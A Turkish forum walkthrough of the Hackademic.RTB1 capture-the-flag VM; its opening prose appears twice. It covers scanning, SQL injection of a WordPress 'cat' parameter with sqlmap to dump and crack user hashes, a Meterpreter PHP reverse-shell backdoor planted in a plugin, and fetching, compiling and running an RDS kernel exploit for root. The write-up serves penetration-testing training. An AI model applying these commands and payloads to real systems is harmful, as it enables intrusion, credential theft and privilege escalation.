- 21 Eki 2015
- 477
- 1
Oyun Bitti: Hackdemic.RTB1
Merhaba ve hoş geldiniz. Bugün, Hackdemic adlı VMye dayanan başka bir oyun bitti pentesting öğreticisi yazacağım (bu öğretici RTB1 Olduğundan Seviye 1 olacak, hala seviye 2nin üstündeyim). Bu mr.pr0n tarafından oluşturulan oldukça yeni bir VM, RTB1 & RTB2 yi buradan indirebilirsiniz.
Hadi iyi şeylere geçelim, 2 VM kullanacağım:
Saldırgan: Backtrack 5 => 192.168.111.129
Kurban: Hackdemic.RTB1 => 192.168.111.131
(1) Döküm
Önce oldukça sınırlı olan saldırı alanına bir göz atalım (Sonuçlar burada ihmal edilmiş olsa bile, uniscorn ile tam bir UDP ve TCP bağlantı noktası taraması yaptığımı belirtmem gerek). Tamam, neyimiz var bir bakalım.
Bu çok fazla bilgi değil ancak devam etmek için bize yeterli bilgiyi veriyor. Etrafı biraz kurcaladıktan sonra sonunda /readme.html i kontrol ettim. Bu sayfa Wordpressin yüklü sürümü için bir readme içerir. WordPress hakkında daha önceden tecrübem olmadı bu yüzden Google amcayı açtım ve biraz genel araştırma yaptım (işlevselliğini keşfetmek ve özellikle güvenlik açıklarını aramak için). Aşağıda html sayfasının ekran görüntüsünü görebilirsiniz, WordPressin tam sürümünü bize bildirmesinin ne kadar yararlı olduğuna dikkat edin.
(2) SQL Foothold
Nazikçe söylemek gerekirse, birçok WordPress güvenlik açığı var. Bu yüzden spagettiyi duvara fırlatalım ve bakalım ne yapışacak, hehe. Bazı SQL- injection parametrelerini kontrol ettikten sonra cat parametresinin açıklı olduğunu buldum.
Bu gayet iyi bir başlangıç ve bu enjeksiyondan bir sürü bilgi toplayabiliriz. Genellikle böyle bir durumda (akademik olarak) yapacağım şey, veritabanının tüm içeriğini çöpe atmak, açıkça onu tekrar burada üretemem. Dikkatli okuyucularımın bu enjeksiyonla mümkün olduğunca uğramaya teşvik ediyorum. Aşağıda yapacağım şey, daha sonra kullanacağımız veritabanlarına ve tablolara yukarıdan aşağıya komple göstermektir.
Gördüğünüz gibi, tablo çok büyük. Bu yüzden aslında yararlı şeylere bakmalıyız. Aşağıdaki döküm bize veritabanında kayıtlı kullanıcılar için bazı giriş bilgilerini gösterir (sadece maxbucky bizim yüzeysel hashcrakimizi geçti).
Devam etmeden önce bahsetmem gereken bir şey var. Bu VMnin amacı, /root dizinindeki ibr dosyanın içeriğini okumaktır (key.txt). SQL veritabanı, root kullanıcı hesabına eşlenir. SQL-injection doğası gereği, aslında bu noktada dosyanı içeriğini okumak mümkündür. Ama bununla yüzleşelim, bu oldukça berbat, ninjalar kalıntıları yemez!! Bu arada veritabanına özel bir UDF kütüphanesi enjekte etmek için boşuna denedim, eğer herhangi biri hakkında herhangi bir giriş varsa bana mesaj atmaktan çekinmeyin. Her neyse, hadi /etc/passwd içeriğinin dökümünü (havalı bir teknikle olmsada) hızlıca gösterelim.
(3) Fakir bir adamın Shelli
Bu yüzden biraz düşündükten sonra aklıma şu geldi, tarayıcımız aracılığıyla Wordpresse giriş yapmak için SQL enjeksiyonundan çıkan bilgileri kullanabiliriz (İki kullanıcı giriş yapabilir, GeorgeMiller ve NickJames)
Biraz uğraştıktan sonra, eklentiler sekmesinin mevcut eklentilerin kaynak kodu düzenlemenize izin verdiğini keşfettim (aslında, mevcut üç eklentiden sadece biri buna izin veriyor ancak ihtiyacımız olan tek şey budur). İyi haber şu, bu eklentiler dünya çapında okunabilir, böylece uzak bir tarayıcıdan yüklenebilir. Msfpayload ile bir METERPRETeR PHP-backdoor oluşturalım ve idarecimizi ayarlayalım. Bu noktada yapmamız gereken tek şey textile1 kaynak kodunu kötü amaçlı PHP kodumuzla değiştirmek ve tarayıcımızdaki URLye göz atmak.
(3)Zengin adamın Sheli
Yani bu oldukça havalı apache ayrıcalıklarına sahip bir shellimiz var ancak yukarıda gördüğünüz gibi /root dizinine erişemiyoruz. Geriye kalan tek şey yerel bir Linux Kernel 2.6.3 exploiti bulmaktır. Bu biraz kafamı karıştırdı, exploit-dbde geçerli bir exploit bulamadım ve bir süre umutsuzluğa kapıldım, hehe. Googleın dostunuz olduğunu unutmayın, aşağıdaki ekran görüntüsüne bakın.
Bu listedeki ilk link aslında tam olarak aradığımız şey, dahası link doğrudan *.c exploiti ile direkt olarak ilgili (ne kadarda yardımcı). Bu exploiti indirdim, adını rds.c olarak değiştirdim ve apache dizinime koydum. Her şey son oyunumuz için hazır, fakir adamın Shelli ne geri dönelim ve onu zengine çevirelim
Merhaba ve hoş geldiniz. Bugün, Hackdemic adlı VMye dayanan başka bir oyun bitti pentesting öğreticisi yazacağım (bu öğretici RTB1 Olduğundan Seviye 1 olacak, hala seviye 2nin üstündeyim). Bu mr.pr0n tarafından oluşturulan oldukça yeni bir VM, RTB1 & RTB2 yi buradan indirebilirsiniz.
Hadi iyi şeylere geçelim, 2 VM kullanacağım:
Saldırgan: Backtrack 5 => 192.168.111.129
Kurban: Hackdemic.RTB1 => 192.168.111.131
(1) Döküm
Önce oldukça sınırlı olan saldırı alanına bir göz atalım (Sonuçlar burada ihmal edilmiş olsa bile, uniscorn ile tam bir UDP ve TCP bağlantı noktası taraması yaptığımı belirtmem gerek). Tamam, neyimiz var bir bakalım.
Kod:
root@bt:~# nmap -sS -sV -T5 192.168.111.131
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-11-15 21:59 CET
Nmap scan report for 192.168.111.131
Host is up (0.00046s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd 2.2.15 ((Fedora))
MAC Address: 00:0C:29:73:5A:74 (VMware)
root@bt:/pentest/web/nikto# ./nikto.pl -h http://192.168.111.131/Hackademic_RTB1/
- Nikto v2.1.4
---------------------------------------------------------------------------
+ Target IP: 192.168.111.131
+ Target Hostname: 192.168.111.131
+ Target Port: 80
+ Start Time: 2011-11-15 20:28:15
---------------------------------------------------------------------------
+ Server: Apache/2.2.15 (Fedora)
+ Retrieved x-powered-by header: PHP/5.3.3
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.2.15 appears to be outdated (current is at least Apache/2.2.17). Apache 1.3.42 (final release)
and 2.0.64 are also current.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ /index.php/\"><script><script>alert(********.cookie)</script><: eZ publish v3 and prior allow Cross Site
Scripting (XSS). http://www.cert.org/advisories/CA-2000-02.html.
+ OSVDB-12184: /index.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive
information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-3092: /xmlrpc.php: xmlrpc.php was found.
+ /readme.html: This WordPress file reveals the installed version.
+ OSVDB-3092: /license.txt: License file found may identify site software.
+ 6448 items checked: 1 error(s) and 9 item(s) reported on remote host
+ End Time: 2011-11-15 20:28:57 (42 seconds)
---------------------------------------------------------------------------
Bu çok fazla bilgi değil ancak devam etmek için bize yeterli bilgiyi veriyor. Etrafı biraz kurcaladıktan sonra sonunda /readme.html i kontrol ettim. Bu sayfa Wordpressin yüklü sürümü için bir readme içerir. WordPress hakkında daha önceden tecrübem olmadı bu yüzden Google amcayı açtım ve biraz genel araştırma yaptım (işlevselliğini keşfetmek ve özellikle güvenlik açıklarını aramak için). Aşağıda html sayfasının ekran görüntüsünü görebilirsiniz, WordPressin tam sürümünü bize bildirmesinin ne kadar yararlı olduğuna dikkat edin.
(2) SQL Foothold
Nazikçe söylemek gerekirse, birçok WordPress güvenlik açığı var. Bu yüzden spagettiyi duvara fırlatalım ve bakalım ne yapışacak, hehe. Bazı SQL- injection parametrelerini kontrol ettikten sonra cat parametresinin açıklı olduğunu buldum.
Kod:
root@bt:~# ls -l /var/www/
total 36
drwxr-xr-x 10 www-data www-data 4096 2011-06-04 17:28 beef
-rw-r--r-- 1 root root 1286 2011-11-08 16:31 evil.php
-rw-r--r-- 1 root root 177 2011-06-04 17:36 index.html
-rw-r--r-- 1 root root 20 2011-11-16 18:34 info.php
-rw-r--r-- 1 root root 5586 2011-11-16 18:13 phpmyadmin_swekey_rci_exploit.php
-rwxrwxrwx 1 root root 6435 2011-11-15 21:27 rds.c
drwxr-xr-x 2 root root 4096 2011-06-04 17:35 wstool
root@bt:~# /etc/init.d/apache2 start
* Starting web server apache2
Bu gayet iyi bir başlangıç ve bu enjeksiyondan bir sürü bilgi toplayabiliriz. Genellikle böyle bir durumda (akademik olarak) yapacağım şey, veritabanının tüm içeriğini çöpe atmak, açıkça onu tekrar burada üretemem. Dikkatli okuyucularımın bu enjeksiyonla mümkün olduğunca uğramaya teşvik ediyorum. Aşağıda yapacağım şey, daha sonra kullanacağımız veritabanlarına ve tablolara yukarıdan aşağıya komple göstermektir.
Kod:
available databases [3]:
[*] information_schema
[*] mysql
[*] wordpress
||
||
||
Database: wordpress
[9 tables]
+-------------------+
| wp_categories |
| wp_comments |
| wp_linkcategories |
| wp_links |
| wp_options |
| wp_post2cat |
| wp_post**** |
| wp_posts |
| wp_users |
+-------------------+
||
||
||
Database: wordpress
Table: wp_users
[22 columns]
+---------------------+---------------------+
| Column | Type |
+---------------------+---------------------+
| ID | bigint(20) unsigned |
| user_activation_key | varchar(60) |
| user_aim | varchar(50) |
| user_browser | varchar(200) |
| user_description | longtext |
| user_domain | varchar(200) |
| user_email | varchar(100) |
| user_firstname | varchar(50) |
| user_icq | int(10) unsigned |
| user_idmode | varchar(20) |
| user_ip | varchar(15) |
| user_lastname | varchar(50) |
| user_level | int(2) unsigned |
| user_login | varchar(60) |
| user_msn | varchar(100) |
| user_nicename | varchar(50) |
| user_nickname | varchar(50) |
| user_pass | varchar(64) |
| user_registered | datetime |
| user_status | int(11) |
| user_url | varchar(100) |
| user_yim | varchar(50) |
+---------------------+---------------------+
Gördüğünüz gibi, tablo çok büyük. Bu yüzden aslında yararlı şeylere bakmalıyız. Aşağıdaki döküm bize veritabanında kayıtlı kullanıcılar için bazı giriş bilgilerini gösterir (sadece maxbucky bizim yüzeysel hashcrakimizi geçti).
Kod:
root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://192.168.111.131/Hackademic_RTB1/?cat=1" -D
wordpress -T wp_users -C user_firstname,user_lastname,user_nickname,user_pass --dump
Database: wordpress
Table: wp_users
[6 entries]
+----------------+---------------+---------------+---------------------------------------------+
| user_firstname | user_lastname | user_nickname | user_pass |
+----------------+---------------+---------------+---------------------------------------------+
| Max | Bucky | MaxBucky | b986448f0bb9e5e124ca91d3d650f52c |
| Jason | Konnors | JasonKonnors | a6e514f9486b83cb53d8d932f9a04292 (napoleon) |
| Tony | Black | TonyBlack | 8601f6e1028a8e8a966f6c33fcd9aec4 (maxwell) |
| George | Miller | GeorgeMiller | 7cbb3252ba6b7e9c422fac5334d22054 (q1w2e3) |
| John | Smith | JohnSmith | 50484c19f1afdaf3841a0d821ed393d2 (kernel) |
| Nick | James | NickJames | 21232f297a57a5a743894a0e4a801fc3 (admin) |
+----------------+---------------+---------------+---------------------------------------------+
Devam etmeden önce bahsetmem gereken bir şey var. Bu VMnin amacı, /root dizinindeki ibr dosyanın içeriğini okumaktır (key.txt). SQL veritabanı, root kullanıcı hesabına eşlenir. SQL-injection doğası gereği, aslında bu noktada dosyanı içeriğini okumak mümkündür. Ama bununla yüzleşelim, bu oldukça berbat, ninjalar kalıntıları yemez!! Bu arada veritabanına özel bir UDF kütüphanesi enjekte etmek için boşuna denedim, eğer herhangi biri hakkında herhangi bir giriş varsa bana mesaj atmaktan çekinmeyin. Her neyse, hadi /etc/passwd içeriğinin dökümünü (havalı bir teknikle olmsada) hızlıca gösterelim.
Kod:
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:499:virtual console memory owner:/dev:/sbin/nologin
avahi-autoipd:x:499:498:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
rtkit:x:498:494:RealtimeKit:/proc:/sbin/nologin
nscd:x:28:493:NSCD Daemon:/:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
avahi:x:497:492:avahi-daemon:/var/run/avahi-daemon:/sbin/nologin
haldaemon:x:68:491:HAL daemon:/:/sbin/nologin
openvpn:x:496:490:OpenVPN:/etc/openvpn:/sbin/nologin
apache:x:48:489:Apache:/var/www:/sbin/nologin
saslauth:x:495:488:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
mailnull:x:47:487::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:486::/var/spool/mqueue:/sbin/nologin
smolt:x:494:485:Smolt:/usr/share/smolt:/sbin/nologin
sshd:x:74:484:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
pulse:x:493:483:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin
gdm:x:42:481::/var/lib/gdm:/sbin/nologin
p0wnbox.Team:x:500:500:p0wnbox.Team:/home/p0wnbox.Team:/bin/bash
mysql:x:27:480:MySQL Server:/var/lib/mysql:/bin/bash
(3) Fakir bir adamın Shelli
Bu yüzden biraz düşündükten sonra aklıma şu geldi, tarayıcımız aracılığıyla Wordpresse giriş yapmak için SQL enjeksiyonundan çıkan bilgileri kullanabiliriz (İki kullanıcı giriş yapabilir, GeorgeMiller ve NickJames)
Biraz uğraştıktan sonra, eklentiler sekmesinin mevcut eklentilerin kaynak kodu düzenlemenize izin verdiğini keşfettim (aslında, mevcut üç eklentiden sadece biri buna izin veriyor ancak ihtiyacımız olan tek şey budur). İyi haber şu, bu eklentiler dünya çapında okunabilir, böylece uzak bir tarayıcıdan yüklenebilir. Msfpayload ile bir METERPRETeR PHP-backdoor oluşturalım ve idarecimizi ayarlayalım. Bu noktada yapmamız gereken tek şey textile1 kaynak kodunu kötü amaçlı PHP kodumuzla değiştirmek ve tarayıcımızdaki URLye göz atmak.
Kod:
root@bt:~# msfpayload php/meterpreter/reverse_tcp LHOST=192.168.111.129 LPORT=9988 O
Name: PHP Meterpreter, PHP Reverse TCP stager
Module: payload/php/meterpreter/reverse_tcp
Version: 12196, 12196
Platform: PHP
Arch: php
Needs Admin: No
Total size: 1286
Rank: Normal
Provided by:
egypt <egypt@****sploit.com>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.111.129 yes The listen address
LPORT 9988 yes The listen port
Description:
Reverse PHP connect back stager with checks for disabled functions,
Run a meterpreter server in PHP
root@bt:~# msfpayload php/meterpreter/reverse_tcp LHOST=192.168.111.129 LPORT=9988 R >
/root/Desktop/evil.php
####################################################################################################
msf exploit(handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.111.129 yes The listen address
LPORT 9988 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.111.129:9988
[*] Starting the payload handler...
[*] Sending stage (38553 bytes) to 192.168.111.131
[*] Meterpreter session 1 opened (192.168.111.129:9988 -> 192.168.111.131:33912) at
2011-11-15 20:27:52 +0100
meterpreter > shell
Process 2598 created.
Channel 0 created.
whoami
apache
uname -a
Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux
cd ../../../../../../../../../../../
ls
bin
boot
dev
etc
home
lib
lost+found
media
mnt
opt
proc
root
sbin
selinux
srv
sys
tmp
usr
var
cd root
/bin/sh: line 6: cd: root: Permission denied
(3)Zengin adamın Sheli
Yani bu oldukça havalı apache ayrıcalıklarına sahip bir shellimiz var ancak yukarıda gördüğünüz gibi /root dizinine erişemiyoruz. Geriye kalan tek şey yerel bir Linux Kernel 2.6.3 exploiti bulmaktır. Bu biraz kafamı karıştırdı, exploit-dbde geçerli bir exploit bulamadım ve bir süre umutsuzluğa kapıldım, hehe. Googleın dostunuz olduğunu unutmayın, aşağıdaki ekran görüntüsüne bakın.
Bu listedeki ilk link aslında tam olarak aradığımız şey, dahası link doğrudan *.c exploiti ile direkt olarak ilgili (ne kadarda yardımcı). Bu exploiti indirdim, adını rds.c olarak değiştirdim ve apache dizinime koydum. Her şey son oyunumuz için hazır, fakir adamın Shelli ne geri dönelim ve onu zengine çevirelim
Kod:
cd /tmp
wget 192.168.111.129/rds.c
--2011-11-15 17:15:27-- http://192.168.111.129/rds.c
Connecting to 192.168.111.129:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6435 (6.3K) [text/x-csrc]
Saving to: `rds.c'
0K ...... 100% 187M=0s
2011-11-15 17:15:27 (187 MB/s) - `rds.c' saved [6435/6435]
ls
orbit-gdm
pulse-PKdhtXMmr18n
rds.c
gcc rds.c -o rds
./rds
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
[+] Resolved rds_proto_ops to 0xe09dab20
[+] Resolved rds_ioctl to 0xe09c506a
[+] Resolved commit_creds to 0xc044e5f1
[+] Resolved prepare_kernel_cred to 0xc044e452
[*] Overwriting function pointer...
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
[+] Resolved rds_proto_ops to 0xe09dab20
[+] Resolved rds_ioctl to 0xe09c506a
[+] Resolved commit_creds to 0xc044e5f1
[+] Resolved prepare_kernel_cred to 0xc044e452
[*] Overwriting function pointer...
[*] Triggering payload...
[*] Restoring function pointer...
whoami
root
cat /root/key.txt
Yeah!!
You must be proud because you 've got the password to complete the First *Realistic* Hackademic Challenge
(Hackademic.RTB1) :)
$_d&jgQ>>ak\#b"(Hx"o<la_%
Regards,
mr.pr0n || p0wnbox.Team || 2011
http://p0wnbox.com
...Game Over...